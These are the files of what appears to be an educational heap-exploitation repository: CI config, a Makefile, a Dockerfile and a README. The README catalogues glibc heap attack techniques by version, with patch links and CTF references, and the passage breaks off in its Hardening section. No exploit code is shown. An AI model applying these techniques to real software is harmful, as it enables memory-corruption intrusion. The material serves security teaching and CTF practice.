[
  {
    "path": ".github/workflows/ci.yml",
    "content": "name: CI\n\non:\n  push:\n    branches:\n    - \"**\"\n  pull_request:\n  workflow_dispatch:\n\njobs:\n  v2_23:\n    runs-on: ubuntu-22.04\n    name: glibc-v2.23\n    steps:\n      - name: build how2heap\n        uses: shellphish/how2heap/ci/build@master\n        with:\n          ubuntu: '16.04'\n      - name: test how2heap\n        uses: shellphish/how2heap/ci/test@master\n        with:\n          ubuntu: '16.04'\n          glibc: '2.23'\n\n  v2_24:\n    runs-on: ubuntu-22.04\n    name: glibc-v2.24\n    steps:\n      - name: build how2heap\n        uses: shellphish/how2heap/ci/build@master\n        with:\n          ubuntu: '16.04'\n      - name: test how2heap\n        uses: shellphish/how2heap/ci/test@master\n        with:\n          ubuntu: '16.10'\n          glibc: '2.24'\n  v2_27:\n    runs-on: ubuntu-22.04\n    name: glibc-v2.27\n    steps:\n      - name: build how2heap\n        uses: shellphish/how2heap/ci/build@master\n        with:\n          ubuntu: '18.04'\n      - name: test how2heap\n        uses: shellphish/how2heap/ci/test@master\n        with:\n          ubuntu: '18.04'\n          glibc: '2.27'\n  v2_31:\n    runs-on: ubuntu-22.04\n    name: glibc-v2.31\n    steps:\n      - name: build how2heap\n        uses: shellphish/how2heap/ci/build@master\n        with:\n          ubuntu: '20.04'\n      - name: test how2heap\n        uses: shellphish/how2heap/ci/test@master\n        with:\n          ubuntu: '20.04'\n          glibc: '2.31'\n  v2_32:\n    runs-on: ubuntu-22.04\n    name: glibc-v2.32\n    steps:\n      - name: build how2heap\n        uses: shellphish/how2heap/ci/build@master\n        with:\n          ubuntu: '20.04'\n      - name: test how2heap\n        uses: shellphish/how2heap/ci/test@master\n        with:\n          ubuntu: '20.10'\n          glibc: '2.32'\n  v2_33:\n    runs-on: ubuntu-22.04\n    name: glibc-v2.33\n    steps:\n      - name: build how2heap\n        uses: shellphish/how2heap/ci/build@master\n        with:\n          ubuntu: '20.04'\n      - name: test how2heap\n        uses: shellphish/how2heap/ci/test@master\n        with:\n          ubuntu: '21.04'\n          glibc: '2.33'\n  v2_34:\n    runs-on: ubuntu-22.04\n    name: glibc-v2.34\n    steps:\n      - name: build how2heap\n        uses: shellphish/how2heap/ci/build@master\n        with:\n          ubuntu: '20.04'\n      - name: test how2heap\n        uses: shellphish/how2heap/ci/test@master\n        with:\n          ubuntu: '21.10'\n          glibc: '2.34'\n  v2_35:\n    runs-on: ubuntu-22.04\n    name: glibc-v2.35\n    steps:\n      - name: build how2heap\n        uses: shellphish/how2heap/ci/build@master\n        with:\n          ubuntu: '22.04'\n      - name: test how2heap\n        uses: shellphish/how2heap/ci/test@master\n        with:\n          ubuntu: '22.04'\n          glibc: '2.35'\n  v2_36:\n    runs-on: ubuntu-22.04\n    name: glibc-v2.36\n    steps:\n      - name: build how2heap\n        uses: shellphish/how2heap/ci/build@master\n        with:\n          ubuntu: '22.04'\n      - name: test how2heap\n        uses: shellphish/how2heap/ci/test@master\n        with:\n          ubuntu: '22.10'\n          glibc: '2.36'\n  v2_37:\n    runs-on: ubuntu-22.04\n    name: glibc-v2.37\n    steps:\n      - name: build how2heap\n        uses: shellphish/how2heap/ci/build@master\n        with:\n          ubuntu: '22.04'\n      - name: test how2heap\n        uses: shellphish/how2heap/ci/test@master\n        with:\n          ubuntu: '23.04'\n          glibc: '2.37'\n  v2_38:\n    runs-on: ubuntu-22.04\n    name: glibc-v2.38\n    steps:\n      - name: build how2heap\n        uses: shellphish/how2heap/ci/build@master\n        with:\n          ubuntu: '22.04'\n      - name: test how2heap\n        uses: shellphish/how2heap/ci/test@master\n        with:\n          ubuntu: '23.10'\n          glibc: '2.38'\n  v2_39:\n    runs-on: ubuntu-22.04\n    name: glibc-v2.39\n    steps:\n      - name: build how2heap\n        uses: shellphish/how2heap/ci/build@master\n        with:\n          ubuntu: '24.04'\n      - name: test how2heap\n        uses: shellphish/how2heap/ci/test@master\n        with:\n          ubuntu: '24.04'\n          glibc: '2.39'\n  v2_40:\n    runs-on: ubuntu-22.04\n    name: glibc-v2.40\n    steps:\n      - name: build how2heap\n        uses: shellphish/how2heap/ci/build@master\n        with:\n          ubuntu: '24.04'\n      - name: test how2heap\n        uses: shellphish/how2heap/ci/test@master\n        with:\n          ubuntu: '24.10'\n          glibc: '2.40'\n  v2_41:\n    runs-on: ubuntu-22.04\n    name: glibc-v2.41\n    steps:\n      - name: build how2heap\n        uses: shellphish/how2heap/ci/build@master\n        with:\n          ubuntu: '24.04'\n      - name: test how2heap\n        uses: shellphish/how2heap/ci/test@master\n        with:\n          ubuntu: '25.04'\n          glibc: '2.41'\n  v2_42:\n    runs-on: ubuntu-22.04\n    name: glibc-v2.42\n    steps:\n      - name: build how2heap\n        uses: shellphish/how2heap/ci/build@master\n        with:\n          ubuntu: '24.04'\n      - name: test how2heap\n        uses: shellphish/how2heap/ci/test@master\n        with:\n          ubuntu: '25.10'\n          glibc: '2.42'\n"
  },
  {
    "path": ".gitignore",
    "content": "glibc_build\nglibc_src\nglibc_versions\n.gdb_history\n\n# ignore binaries in root\ncalc_tcache_idx\nfirst_fit\nmalloc_playground\n\n# ignore all built binaries\nglibc_2.*/*\n!glibc_2.*/*.*\n\n# general\n**.swp\n"
  },
  {
    "path": ".gitmodules",
    "content": "[submodule \"glibc-all-in-one\"]\n\tpath = glibc-all-in-one\n\t#url = https://github.com/matrix1001/glibc-all-in-one.git\n\turl = https://github.com/fr0ster/glibc-all-in-one.git\n"
  },
  {
    "path": "Dockerfile",
    "content": "from ubuntu:20.04\n\nrun apt-get update && apt-get install -y binutils git make vim gcc patchelf python-is-python3 python3-pip\nrun pip3 install requests\nrun git clone --depth 1 https://github.com/shellphish/how2heap /root/how2heap\nrun git config --global --add safe.directory \"*\"\n\nworkdir /root/how2heap\nrun bash\n"
  },
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) 2020 Shellphish\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "Makefile",
    "content": ".PHONY: help clean distclean all test\n\nVERSIONS := 2.23 2.24 2.27 2.31 2.32 2.33 2.34 2.35 2.36 2.37 2.38 2.39 2.40 2.41 2.42\nTECH_BINS := $(patsubst %.c,%,$(wildcard glibc_*/*.c))\nBASE_BINS := $(patsubst %.c,%,$(wildcard *.c))\nDOWNLOADED := glibc-all-in-one/libs glibc-all-in-one/debs\nBINS := $(TECH_BINS) $(BASE_BINS)\nARCH := amd64\n\nifeq ($(H2H_USE_SYSTEM_LIBC),)\nH2H_USE_SYSTEM_LIBC := Y\nendif\n\nhelp:\n\t@echo 'make help                    - show this message'\n\t@echo 'make base                    - build all base binaries, namely `malloc_playground`, `first_fit`, `calc_tcache_idx`'\n\t@echo 'make <version>               - build all the techniques for a specific version. e.g. `make v2.39`'\n\t@echo 'make clean                   - remove all built binaries'\n\t@echo 'make distclean               - remove all built binaries and downloaded libcs'\n\t@echo 'make all                     - build all binaries'\n\t@echo 'make test version=<version>  - test run all techniques for a specific version. e.g. `make test version=2.39`'\n\nCFLAGS += -std=c99 -g -Wno-unused-result -Wno-free-nonheap-object\nLDLIBS += -ldl\n\nbase: $(BASE_BINS)\n\n# initialize glibc-all-in-one\nlibc_ready:\n\tgit submodule update --init --recursive\n\tcd glibc-all-in-one && ./update_list\n\n# populate the download_glibc_<version> rules\n$(addprefix download_glibc_, $(VERSIONS)): libc_ready\n\t@echo $@\n\n\tversion=$(patsubst download_glibc_%,%,$@); \\\n\tlibc=$$(cat glibc-all-in-one/list | grep \"$$version\" | grep \"$(ARCH)\" | head -n 1); \\\n\told_libc=$$(cat glibc-all-in-one/old_list | grep \"$$version\" | grep \"$(ARCH)\" | head -n 1); \\\n\tif [ -z $$libc ]; then libc=$$old_libc; script=\"download_old\"; else libc=$$libc; script=\"download\"; fi; \\\n\tcd glibc-all-in-one; \\\n\trm -rf libs/$$libc; \\\n\t./$$script $$libc\n\n# populate the make <version> rules\nifeq ($(H2H_USE_SYSTEM_LIBC),Y)\n$(foreach version,$(VERSIONS),$(eval v$(version): $(patsubst %.c,%,$(wildcard glibc_$(version)/*.c))))\nelse\n$(foreach version,$(VERSIONS),$(eval v$(version): download_glibc_$(version) $(patsubst %.c,%,$(wildcard glibc_$(version)/*.c)) ))\nendif\n\n# the compilation rules\n%: %.c\n\tversion=$(word 1, $(subst /, ,$(patsubst glibc_%,%,$@))); \\\n\tif [ \"$(H2H_USE_SYSTEM_LIBC)\" = \"Y\" ]; \\\n\tthen \\\n\t\t$(CC) $(CFLAGS) $(DIR_CFLAGS_$(@D)) $^ -o $@ $(LDLIBS); \\\n\telse \\\n\t\t$(CC) $(CFLAGS) $(DIR_CFLAGS_$(@D)) $^ -o $@ $(LDLIBS) \\\n\t\t-Xlinker -rpath=$$(realpath glibc-all-in-one/libs/$$version*) \\\n\t\t-Xlinker -I$$(realpath glibc-all-in-one/libs/$$version*/ld-linux-x86-64.so.2) \\\n\t\t-Xlinker $$(realpath glibc-all-in-one/libs/$$version*/libc.so.6) \\\n\t\t-Xlinker $$(realpath glibc-all-in-one/libs/$$version*/libdl.so.2); \\\n\tfi\n\nall: $(BINS)\n\nclean:\n\t@rm -f $(BINS)\n\t@echo \"all the built binaries are removed.\"\n\ndistclean:\n\t@rm -f $(BINS)\n\t@rm -rf $(DOWNLOADED)\n\t@echo \"all the built binaries and all downloaded libcs are removed.\"\n\ndefine test_poc =\necho $(poc)\nfor i in $$(seq 0 20);\\\ndo\\\n\tLIBC_FATAL_STDERR_=1 $(poc) 1>/dev/null 2>&1 0>&1;\\\n\tif [ \"$$?\" = \"0\" ]; then break; fi;\\\n\tif [ \"$$i\" = \"20\" ]; then exit 1; fi;\\\ndone\necho \"success\"\nendef\n\ntest: v$(version)\n\t@$(foreach poc,$(patsubst %.c,%,$(wildcard glibc_$(version)/*.c)),$(call test_poc,$(poc));)\n"
  },
  {
    "path": "README.md",
    "content": "# Educational Heap Exploitation\n\nThis repo is for learning various heap exploitation techniques.\nWe use Ubuntu's Libc releases as the gold-standard. Each technique is verified to work on corresponding Ubuntu releases.\nYou can run `apt source libc6` to download the source code of the Libc you are using on a Debian-based operating system. You can also click :arrow_forward: to debug the technique in your browser using gdb.\n\nWe came up with the idea during a hack meeting, and have implemented the following techniques:\n\n| File | :arrow_forward: | Technique | Glibc-Version | Patch | Applicable CTF Challenges |\n|------|-----|-----------|---------------|-------|---------------------------|\n| [first_fit.c](first_fit.c) | |  Demonstrating glibc malloc's first-fit behavior. | | | |\n| [calc_tcache_idx.c](calc_tcache_idx.c)| |  Demonstrating glibc's tcache index calculation.| | | |\n| [fastbin_dup.c](glibc_2.35/fastbin_dup.c) | <a href=\"https://wargames.ret2.systems/level/how2heap_fastbin_dup_2.34\" title=\"Debug Technique In Browser\">:arrow_forward:</a> | Tricking malloc into returning an already-allocated heap pointer by abusing the fastbin freelist. | latest | | |\n| [fastbin_dup_into_stack.c](glibc_2.35/fastbin_dup_into_stack.c) | <a href=\"https://wargames.ret2.systems/level/how2heap_fastbin_dup_into_stack_2.23\" title=\"Debug Technique In Browser\">:arrow_forward:</a> | Tricking malloc into returning a nearly-arbitrary pointer by abusing the fastbin freelist. | latest | | [9447-search-engine](https://github.com/ctfs/write-ups-2015/tree/master/9447-ctf-2015/exploitation/search-engine), [0ctf 2017-babyheap](https://web.archive.org/web/20181104155842/http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html) |\n| [fastbin_dup_consolidate.c](glibc_2.35/fastbin_dup_consolidate.c) | <a href=\"https://wargames.ret2.systems/level/how2heap_fastbin_dup_consolidate_2.23\" title=\"Debug Technique In Browser\">:arrow_forward:</a> | Tricking malloc into returning an already-allocated heap pointer by putting a pointer on both fastbin freelist and the top chunk. | latest | | [Hitcon 2016 SleepyHolder](https://github.com/mehQQ/public_writeup/tree/master/hitcon2016/SleepyHolder) |\n| [unsafe_unlink.c](glibc_2.35/unsafe_unlink.c) | <a href=\"https://wargames.ret2.systems/level/how2heap_unsafe_unlink_2.34\" title=\"Debug Technique In Browser\">:arrow_forward:</a> | Exploiting free on a corrupted chunk to get arbitrary write. | latest | | [HITCON CTF 2014-stkof](http://acez.re/ctf-writeup-hitcon-ctf-2014-stkof-or-modern-heap-overflow/), [Insomni'hack 2017-Wheel of Robots](https://gist.github.com/niklasb/074428333b817d2ecb63f7926074427a) |\n| [house_of_spirit.c](glibc_2.35/house_of_spirit.c) | <a href=\"https://wargames.ret2.systems/level/how2heap_house_of_spirit_2.23\" title=\"Debug Technique In Browser\">:arrow_forward:</a> | Frees a fake fastbin chunk to get malloc to return a nearly-arbitrary pointer. | latest | | [hack.lu CTF 2014-OREO](https://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/oreo) |\n| [poison_null_byte.c](glibc_2.35/poison_null_byte.c) | <a href=\"https://wargames.ret2.systems/level/how2heap_poison_null_byte_2.34\" title=\"Debug Technique In Browser\">:arrow_forward:</a> | Exploiting a single null byte overflow. | latest | | [PlaidCTF 2015-plaiddb](https://github.com/ctfs/write-ups-2015/tree/master/plaidctf-2015/pwnable/plaiddb), [BalsnCTF 2019-PlainNote](https://gist.github.com/st424204/6b5c007cfa2b62ed3fd2ef30f6533e94?fbclid=IwAR3n0h1WeL21MY6cQ_C51wbXimdts53G3FklVIHw2iQSgtgGo0kR3Lt-1Ek)|\n| [house_of_lore.c](glibc_2.35/house_of_lore.c) | <a href=\"https://wargames.ret2.systems/level/how2heap_house_of_lore_2.34\" title=\"Debug Technique In Browser\">:arrow_forward:</a> | Tricking malloc into returning a nearly-arbitrary pointer by abusing the smallbin freelist. | latest | | |\n| [overlapping_chunks.c](glibc_2.27/overlapping_chunks.c) | <a href=\"https://wargames.ret2.systems/level/how2heap_overlapping_chunks_2.34\" title=\"Debug Technique In Browser\">:arrow_forward:</a> | Exploit the overwrite of a freed chunk size in the unsorted bin in order to make a new allocation overlap with an existing chunk | < 2.29 | [patch](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c) | [hack.lu CTF 2015-bookstore](https://github.com/ctfs/write-ups-2015/tree/master/hack-lu-ctf-2015/exploiting/bookstore), [Nuit du Hack 2016-night-deamonic-heap](https://github.com/ctfs/write-ups-2016/tree/master/nuitduhack-quals-2016/exploit-me/night-deamonic-heap-400) |\n| [overlapping_chunks_2.c](glibc_2.23/overlapping_chunks_2.c) | <a href=\"https://wargames.ret2.systems/level/how2heap_overlapping_chunks_2_2.23\" title=\"Debug Technique In Browser\">:arrow_forward:</a> | Exploit the overwrite of an in use chunk size in order to make a new allocation overlap with an existing chunk  | < 2.29|[patch](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c) | |\n| [mmap_overlapping_chunks.c](glibc_2.35/mmap_overlapping_chunks.c) | |  Exploit an in use mmap chunk in order to make a new allocation overlap with a current mmap chunk | latest | | |\n| [house_of_force.c](glibc_2.27/house_of_force.c) | <a href=\"https://wargames.ret2.systems/level/how2heap_house_of_force_2.27\" title=\"Debug Technique In Browser\">:arrow_forward:</a> | Exploiting the Top Chunk (Wilderness) header in order to get malloc to return a nearly-arbitrary pointer | < 2.29 | [patch](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c) | [Boston Key Party 2016-cookbook](https://github.com/ctfs/write-ups-2016/tree/master/boston-key-party-2016/pwn/cookbook-6), [BCTF 2016-bcloud](https://github.com/ctfs/write-ups-2016/tree/master/bctf-2016/exploit/bcloud-200) |\n| [unsorted_bin_into_stack.c](glibc_2.27/unsorted_bin_into_stack.c) | <a href=\"https://wargames.ret2.systems/level/how2heap_unsorted_bin_into_stack_2.23\" title=\"Debug Technique In Browser\">:arrow_forward:</a> | Exploiting the overwrite of a freed chunk on unsorted bin freelist to return a nearly-arbitrary pointer.  | < 2.29 | [patch](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c)| |\n| [unsorted_bin_attack.c](glibc_2.27/unsorted_bin_attack.c) | <a href=\"https://wargames.ret2.systems/level/how2heap_unsorted_bin_attack_2.27\" title=\"Debug Technique In Browser\">:arrow_forward:</a> | Exploiting the overwrite of a freed chunk on unsorted bin freelist to write a large value into arbitrary address  | < 2.29 | [patch](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c) | [0ctf 2016-zerostorage](https://github.com/ctfs/write-ups-2016/tree/master/0ctf-2016/exploit/zerostorage-6) |\n| [large_bin_attack.c](glibc_2.35/large_bin_attack.c) | <a href=\"https://wargames.ret2.systems/level/how2heap_large_bin_attack_2.34\" title=\"Debug Technique In Browser\">:arrow_forward:</a> | Exploiting the overwrite of a freed chunk on large bin freelist to write a large value into arbitrary address  | < 2.42 | [patch](https://patchwork.sourceware.org/project/glibc/patch/20250214053454.2346370-1-benjamin.p.kallus.gr@dartmouth.edu/) | [0ctf 2018-heapstorm2](https://dangokyo.me/2018/04/07/0ctf-2018-pwn-heapstorm2-write-up/) |\n| [house_of_einherjar.c](glibc_2.35/house_of_einherjar.c) | <a href=\"https://wargames.ret2.systems/level/how2heap_house_of_einherjar_2.34\" title=\"Debug Technique In Browser\">:arrow_forward:</a> | Exploiting a single null byte overflow to trick malloc into returning a controlled pointer  | latest | | [Seccon 2016-tinypad](https://gist.github.com/hhc0null/4424a2a19a60c7f44e543e32190aaabf) |\n| [house_of_water.c](glibc_2.36/house_of_water.c) | | Exploit a UAF or double free to gain leakless control of the t-cache metadata and a leakless way to link libc in t-cache | latest | | [37c3 Potluck - Tamagoyaki](https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki)|\n| [sysmalloc_int_free.c](glibc_2.39/sysmalloc_int_free.c) | | Demonstrating freeing the nearly arbitrary sized Top Chunk (Wilderness) using malloc (sysmalloc  `_int_free()` ) | latest | | |\n| [house_of_orange.c](glibc_2.23/house_of_orange.c) | <a href=\"https://wargames.ret2.systems/level/how2heap_house_of_orange_2.23\" title=\"Debug Technique In Browser\">:arrow_forward:</a> | Exploiting the Top Chunk (Wilderness) in order to gain arbitrary code execution  | < 2.26 | [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) | [Hitcon 2016 houseoforange](https://github.com/ctfs/write-ups-2016/tree/master/hitcon-ctf-2016/pwn/house-of-orange-500) |\n| [house_of_tangerine.c](glibc_2.39/house_of_tangerine.c) |  | Exploiting the Top Chunk (Wilderness) in order to trick malloc into returning a completely arbitrary pointer by abusing the tcache freelist | >= 2.26 |  | [PicoCTF 2024- high frequency troubles](https://play.picoctf.org/practice/challenge/441?category=6&page=1&search=high%20frequency%20troubles) |\n| [house_of_roman.c](glibc_2.23/house_of_roman.c) | <a href=\"https://wargames.ret2.systems/level/how2heap_house_of_roman_2.23\" title=\"Debug Technique In Browser\">:arrow_forward:</a> | Leakless technique in order to gain remote code execution via fake fastbins, the unsorted\\_bin attack and relative overwrites. |< 2.29 |[patch](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c) ||\n| [tcache_poisoning.c](glibc_2.35/tcache_poisoning.c) | <a href=\"https://wargames.ret2.systems/level/how2heap_tcache_poisoning_2.34\" title=\"Debug Technique In Browser\">:arrow_forward:</a> | Tricking malloc into returning a completely arbitrary pointer by abusing the tcache freelist. (requires heap leak on and after 2.32) | > 2.25  | [patch](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41) | |\n| [tcache_house_of_spirit.c](glibc_2.35/tcache_house_of_spirit.c) | <a href=\"https://wargames.ret2.systems/level/how2heap_tcache_house_of_spirit_2.34\" title=\"Debug Technique In Browser\">:arrow_forward:</a> | Frees a fake chunk to get malloc to return a nearly-arbitrary pointer. | > 2.25 | | |\n| [house_of_botcake.c](glibc_2.35/house_of_botcake.c) | <a href=\"https://wargames.ret2.systems/level/how2heap_house_of_botcake_2.34\" title=\"Debug Technique In Browser\">:arrow_forward:</a> | Bypass double free restriction on tcache. Make `tcache_dup` great again. | > 2.25 | | |\n| [tcache_stashing_unlink_attack.c](glibc_2.35/tcache_stashing_unlink_attack.c) | <a href=\"https://wargames.ret2.systems/level/how2heap_tcache_stashing_unlink_attack_2.34\" title=\"Debug Technique In Browser\">:arrow_forward:</a> | Exploiting the overwrite of a freed chunk on small bin freelist to trick malloc into returning an arbitrary pointer and write a large value into arbitraty address with the help of calloc. | > 2.25 | | [Hitcon 2019 one punch man](https://github.com/xmzyshypnc/xz_files/tree/master/hitcon2019_one_punch_man) |\n| [fastbin_reverse_into_tcache.c](glibc_2.35/fastbin_reverse_into_tcache.c) | <a href=\"https://wargames.ret2.systems/level/how2heap_fastbin_reverse_into_tcache_2.34\" title=\"Debug Technique In Browser\">:arrow_forward:</a> | Exploiting the overwrite of a freed chunk in the fastbin to write a large value into an arbitrary address. | > 2.25 | | |\n| [house_of_mind_fastbin.c](glibc_2.35/house_of_mind_fastbin.c) | <a href=\"https://wargames.ret2.systems/level/how2heap_house_of_mind_fastbin_2.34\" title=\"Debug Technique In Browser\">:arrow_forward:</a> | Exploiting a single byte overwrite with arena handling to write a large value (heap pointer) to an arbitrary address | latest | | |\n| [house_of_storm.c](glibc_2.27/house_of_storm.c) | <a href=\"https://wargames.ret2.systems/level/how2heap_house_of_storm_2.27\" title=\"Debug Technique In Browser\">:arrow_forward:</a> | Exploiting a use after free on both a large and unsorted bin chunk to return an arbitrary chunk from malloc| < 2.29 | | |\n| [house_of_gods.c](glibc_2.24/house_of_gods.c) | <a href=\"https://wargames.ret2.systems/level/how2heap_house_of_gods_2.24\" title=\"Debug Technique In Browser\">:arrow_forward:</a> | A technique to hijack a thread's arena within 8 allocations | < 2.27 | | |\n| [decrypt_safe_linking.c](glibc_2.35/decrypt_safe_linking.c) | <a href=\"https://wargames.ret2.systems/level/how2heap_decrypt_safe_linking_2.34\" title=\"Debug Technique In Browser\">:arrow_forward:</a> | Decrypt the poisoned value in linked list to recover the actual pointer | >= 2.32 | | |\n| [safe_link_double_protect.c](glibc_2.36/safe_link_double_protect.c) | | Leakless bypass for PROTECT_PTR by protecting a pointer twice, allowing for arbitrary pointer linking in t-cache | >= 2.32 | | [37c3 Potluck - Tamagoyaki](https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki)|\n| [tcache_dup.c](obsolete/glibc_2.27/tcache_dup.c)(obsolete) | |  Tricking malloc into returning an already-allocated heap pointer by abusing the tcache freelist. | 2.26 - 2.28 | [patch](https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d) | |\n| [tcache_metadata_poisoning.c](glibc_2.27/tcache_metadata_poisoning.c) | | Trick the tcache into providing arbitrary pointers by manipulating the tcache metadata struct | >= 2.26 | | |\n| [house_of_io.c](glibc_2.31/house_of_io.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by UAF in a free'd tcache chunk. | 2.31 - 2.33 | | |\n| [tcache_relative_write.c](glibc_2.41/tcache_relative_write.c) | | Arbitrary decimal value and chunk pointer writing in heap by out-of-bounds tcache metadata writing | 2.30-2.41 | [patch](https://sourceware.org/git/?p=glibc.git;a=commit;h=cbfd7988107b27b9ff1d0b57fa2c8f13a932e508) | |\n| [tcache_metadata_hijacking](glibc_2.42/tcache_metadata_hijacking.c) | | Arbitrary allocation by overflow into tcache metadata | >= 2.42 | | |\n\nThe GnuLibc is under constant development and several of the techniques above have let to consistency checks introduced in the malloc/free logic.\nConsequently, these checks regularly break some of the techniques and require adjustments to bypass them (if possible).\nWe address this issue by keeping multiple versions of the same technique for each Glibc-release that required an adjustment.\nThe structure is `glibc_<version>/technique.c`.\n\nHave a good example?\nAdd it here!\nTry to inline the whole technique in a single `.c` -- it's a lot easier to learn that way.\n\n# Get Started\n\n## Quick Setup\n\n- make sure you have the following packages/tools installed: `patchelf zstd wget` (of course also `build-essential` or similar for compilers, `make`, ...)\n- also, `/usr/bin/python` must be/point to your `python` binary (e. g. `/usr/bin/python3`)\n\n```shell\ngit clone https://github.com/shellphish/how2heap\ncd how2heap\nmake clean base\n./malloc_playground\n```\nNotice that this will link the binaries with your system libc. If you want to play with other libc versions. Please refer to `Complete Setup`.\n\n## Complete Setup\n\nYou will encounter symbol versioning issues (see [this](https://github.com/shellphish/how2heap/issues/169)) if you try to `LD_PRELOAD` libcs to a binary that's compiled on your host machine.\nWe have two ways to bypass it.\n\n### Method 1: link against older libc\nThis one tells linker to link the target binary with the target libc.\n```shell\ngit clone https://github.com/shellphish/how2heap\ncd how2heap\nH2H_USE_SYSTEM_LIBC=N make v2.23\n```\nThis will link all the binaries against corresponding libcs. What's better is that it comes with debug symbols. Now you can play with any libc versions on your host machine.\nIn this example, it will compile all glibc-2.23 binaries and link them with libc-2.23. You can change the number to play with other libc versions.\n\n### Method 2: use docker\nThis uses Docker-based approach to complie binaries inside an old ubuntu container so it is runnable with the target libc version.\n\n```shell\ngit clone https://github.com/shellphish/how2heap\ncd how2heap\n\n# the next command will prepare the target binary so it runs with\n# the expected libc version\nmake base\n./glibc_run.sh 2.30 ./malloc_playground -d -p\n\n# now you can play with the binary with glibc-2.30\n# and even debug it with the correct symbols\nreadelf -d -W malloc_playground | grep RUNPATH # or use checksec\nreadelf -l -W malloc_playground | grep interpreter\ngdb -q -ex \"start\" ./malloc_playground\n```\n\n# Heap Exploitation Tools\n\nThere are some heap exploitation tools floating around.\n\n## Malloc Playground\n\nThe `malloc_playground.c` file given is the source for a program that prompts the user for commands to allocate and free memory interactively.\n\n## Pwngdb\n\nExamine the glibc heap in gdb: https://github.com/scwuaptx/Pwngdb\n\n## pwndbg\n\nAn exploitation-centric gdb plugin that provides the ability to view/tamper with the glibc heap: https://github.com/pwndbg/pwndbg\n\n## gef\n\nAnother excellent gdb plugin that provides the ability to examine the glibc heap: https://github.com/hugsy/gef\n\n## heap-viewer\n\nExamine the glibc heap in IDA Pro: https://github.com/danigargu/heap-viewer\n\n## heaptrace\n\nHelps you visualize heap operations by replacing addresses with symbols: https://github.com/Arinerron/heaptrace\n\n# Other resources\n\nSome good heap exploitation resources, roughly in reverse order of their publication, are:\n\n## Useful heap exploitation tutorials\n- Overview of GLIBC heap exploitation techniques (https://0x434b.dev/overview-of-glibc-heap-exploitation-techniques/) <!-- 2022 -->\n- glibc in-depth tutorial (https://heap-exploitation.dhavalkapil.com/) - book and exploit samples <!-- 2022 -->\n- Heap exploitation techniques that work on glibc-2.31 (https://github.com/StarCross-Tech/heap_exploit_2.31) <!-- 2020 -->\n- Painless intro to the Linux userland heap (https://sensepost.com/blog/2017/painless-intro-to-the-linux-userland-heap/) <!-- 2017 -->\n- ptmalloc fanzine, a set of resources and examples related to meta-data attacks on ptmalloc (http://tukan.farm/2016/07/26/ptmalloc-fanzine/) <!-- 2016 -->\n- Glibc Adventures: The Forgotten Chunk (https://github.com/bash-c/slides/blob/master/pwn_heap/Glibc%20Adventures:%20The%20forgotten%20chunks.pdf) - advanced heap exploitation <!-- 2015 -->\n\n## Historical heap exploitation (The History)\n- Pseudomonarchia jemallocum (http://www.phrack.org/issues/68/10.html) <!-- 2012 -->\n- The House Of Lore: Reloaded (http://phrack.org/issues/67/8.html) <!-- 2010 -->\n- Malloc Des-Maleficarum (http://phrack.org/issues/66/10.html) - some malloc exploitation techniques <!-- 2009 -->\n- Yet another free() exploitation technique (http://phrack.org/issues/66/6.html) <!-- 2009 -->\n- The use of set_head to defeat the wilderness (http://phrack.org/issues/64/9.html) <!-- 2007 -->\n- Understanding the heap by breaking it (https://www.blackhat.com/presentations/bh-usa-07/Ferguson/Whitepaper/bh-usa-07-ferguson-WP.pdf) - explains heap implementation and a couple exploits <!-- 2007 -->\n- OS X heap exploitation techniques (http://phrack.org/issues/63/5.html) <!-- 2005 -->\n- The Malloc Maleficarum (http://seclists.org/bugtraq/2005/Oct/118) <!-- 2005 -->\n- Exploiting The Wilderness (http://seclists.org/vuln-dev/2004/Feb/25) <!-- 2004 -->\n- Advanced Doug lea's malloc exploits (http://phrack.org/issues/61/6.html) <!-- 2003 -->\n\n# Hardening\nThere are a couple of \"hardening\" measures embedded in glibc, like `export MALLOC_CHECK_=1` (enables some checks), `export MALLOC_PERTURB_=1` (data is overwritten), `export 